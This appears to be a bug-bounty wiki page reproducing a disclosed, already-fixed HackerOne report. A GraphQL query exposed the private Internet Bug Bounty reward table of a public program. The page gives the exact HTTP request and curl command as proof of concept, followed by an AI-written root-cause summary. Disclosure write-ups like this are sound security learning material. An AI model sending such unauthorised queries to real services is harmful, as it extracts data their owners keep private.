Being able to disclose IBB bounty table of any public program
The GraphQL API exposed the private Internet Bug Bounty reward table for a public programme, despite documentation stating it is private.
Akash Hamal Follow with thebeast99
Originally disclosed on HackerOne
- Triaged in 9 days
- Fixed in 10 days
- Paid in 9 days
- Disclosed after 2 months
Summary:
Hi there, I hope you are doing well :)
According to https://docs.hackerone.com/en/articles/8496298-internet-bug-bounty
██████
It says "You can opt-in by setting up your bounty table on your main program’s rewards settings page (instructions below). This bounty table is private and indicates how much you will award for vulnerabilities discovered in open-source projects"
Which means the IBB bounty table is private but i was able to disclose IBB bounty table
Steps To Reproduce
- Send this HTTP request:
POST /graphql HTTP/2
Host: hackerone.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json
Content-Type: application/json
Content-Length: 157
Te: trailers
{"query":"{\r\n team(handle: \"security\") {\r\n\r\nibb_bounty_table {\r\n critical\r\n high\r\n medium\r\n low\r\n }\r\n}\r\n}\r\n"}
OR
run this curl command :
curl -i -s -k -X $'POST' \
-H $'Host: hackerone.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'Content-Length: 157' -H $'Te: trailers' \
--data-binary $'{\"query\":\"{\\r\\n team(handle: \\\"security\\\") {\\r\\n\\r\\nibb_bounty_table {\\r\\n critical\\r\\n high\\r\\n medium\\r\\n low\\r\\n }\\r\\n}\\r\\n}\\r\\n\"}' \
$'https://hackerone.com/graphql'
it will disclose IBB bounty table of Hackerone:
█████
Impact
Private information disclosure
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the GraphQL resolver for the bounty table field did not enforce an authorisation check on private data.
Impact
Private bounty information could be disclosed to anyone who can reach the API.
What the attacker needed
Access to the public GraphQL endpoint
How it was found
- Send a POST request to the GraphQL endpoint with a query asking for the team's bounty table fields.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A GraphQL API lets clients ask for named data. Here the private bounty table could be requested and its reward amounts read.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.